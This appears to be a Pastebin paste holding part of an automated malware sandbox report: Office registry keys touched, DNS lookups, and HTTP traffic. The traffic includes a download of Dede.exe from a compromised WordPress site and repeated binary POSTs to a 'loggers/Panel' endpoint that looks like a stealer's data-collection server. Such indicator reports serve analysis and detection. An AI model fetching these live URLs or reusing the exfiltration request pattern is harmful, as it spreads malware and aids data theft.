  1931. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1932. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1933. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1934. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1935. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1936. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1937. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1938. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1939. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1940. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1941. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1942. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1943. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1944. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1945. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1946. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1947. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1948. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1949. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1950. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\D00400\\D00400",
  1951. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1952.  
  1953.  
  1954. * DNS Communications:
  1955.  
  1956. "type": "A",
  1957. "request": "coldcerealfordinner.com",
  1958. "answers":
  1959.  
  1960. "data": "104.24.123.173",
  1961. "type": "A"
  1962.  
  1963.  
  1964. "data": "104.24.122.173",
  1965. "type": "A"
  1966.  
  1967.  
  1968.  
  1969.  
  1970. "type": "A",
  1971. "request": "kitchenraja.com",
  1972. "answers":
  1973.  
  1974. "data": "162.245.217.163",
  1975. "type": "A"
  1976.  
  1977.  
  1978.  
  1979.  
  1980.  
  1981. * Domains:
  1982.  
  1983. "ip": "162.245.217.163",
  1984. "domain": "kitchenraja.com"
  1985.  
  1986.  
  1987. "ip": "104.24.123.173",
  1988. "domain": "coldcerealfordinner.com"
  1989.  
  1990.  
  1991.  
  1992. * Network Communication - ICMP:
  1993.  
  1994. * Network Communication - HTTP:
  1995.  
  1996. "count": 1,
  1997. "body": "",
  1998. "uri": "http://coldcerealfordinner.com/wp-admin/js/12jan/ivo/Dede.exe",
  1999. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  2000. "method": "GET",
  2001. "host": "coldcerealfordinner.com",
  2002. "version": "1.1",
  2003. "path": "/wp-admin/js/12jan/ivo/Dede.exe",
  2004. "data": "GET /wp-admin/js/12jan/ivo/Dede.exe HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: coldcerealfordinner.com\r\nConnection: Keep-Alive\r\n\r\n",
  2005. "port": 80
  2006.  
  2007.  
  2008. "count": 1,
  2009. "body": "",
  2010. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2011. "user-agent": "Microsoft-CryptoAPI/6.1",
  2012. "method": "GET",
  2013. "host": "ocsp.digicert.com",
  2014. "version": "1.1",
  2015. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2016. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2017. "port": 80
  2018.  
  2019.  
  2020. "count": 1,
  2021. "body": "",
  2022. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2023. "user-agent": "Microsoft-CryptoAPI/6.1",
  2024. "method": "GET",
  2025. "host": "ocsp.msocsp.com",
  2026. "version": "1.1",
  2027. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2028. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2029. "port": 80
  2030.  
  2031.  
  2032. "count": 15,
  2033. "body": "",
  2034. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2035. "user-agent": "Microsoft-CryptoAPI/6.1",
  2036. "method": "GET",
  2037. "host": "crl.microsoft.com",
  2038. "version": "1.1",
  2039. "path": "/pki/crl/products/microsoftrootcert.crl",
  2040. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2041. "port": 80
  2042.  
  2043.  
  2044. "count": 1,
  2045. "body": "",
  2046. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2047. "user-agent": "Microsoft-CryptoAPI/6.1",
  2048. "method": "GET",
  2049. "host": "crl.microsoft.com",
  2050. "version": "1.1",
  2051. "path": "/pki/crl/products/microsoftrootcert.crl",
  2052. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 22 May 2019 05:00:43 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2053. "port": 80
  2054.  
  2055.  
  2056. "count": 4,
  2057. "body": "",
  2058. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2059. "user-agent": "Microsoft-CryptoAPI/6.1",
  2060. "method": "GET",
  2061. "host": "crl.microsoft.com",
  2062. "version": "1.1",
  2063. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2064. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2065. "port": 80
  2066.  
  2067.  
  2068. "count": 2,
  2069. "body": "",
  2070. "uri": "http://kitchenraja.com/loggers/Panel/five/fre.php",
  2071. "user-agent": "Mozilla/4.08 (Charon; Inferno)",
  2072. "method": "POST",
  2073. "host": "kitchenraja.com",
  2074. "version": "1.0",
  2075. "path": "/loggers/Panel/five/fre.php",
  2076. "data": "POST /loggers/Panel/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: kitchenraja.com\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: 69F783D8\r\nContent-Length: 176\r\nConnection: close\r\n\r\n",
  2077. "port": 80
  2078.  
  2079.  
  2080. "count": 5,
  2081. "body": "",
  2082. "uri": "http://kitchenraja.com/loggers/Panel/five/fre.php",
  2083. "user-agent": "Mozilla/4.08 (Charon; Inferno)",
  2084. "method": "POST",
  2085. "host": "kitchenraja.com",
  2086. "version": "1.0",
  2087. "path": "/loggers/Panel/five/fre.php",
  2088. "data": "POST /loggers/Panel/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: kitchenraja.com\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: 69F783D8\r\nContent-Length: 149\r\nConnection: close\r\n\r\n",
  2089. "port": 80
  2090.  
  2091.  
  2092.  
  2093. * Network Communication - SMTP:
  2094.  
  2095. * Network Communication - Hosts:
  2096.  
  2097. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!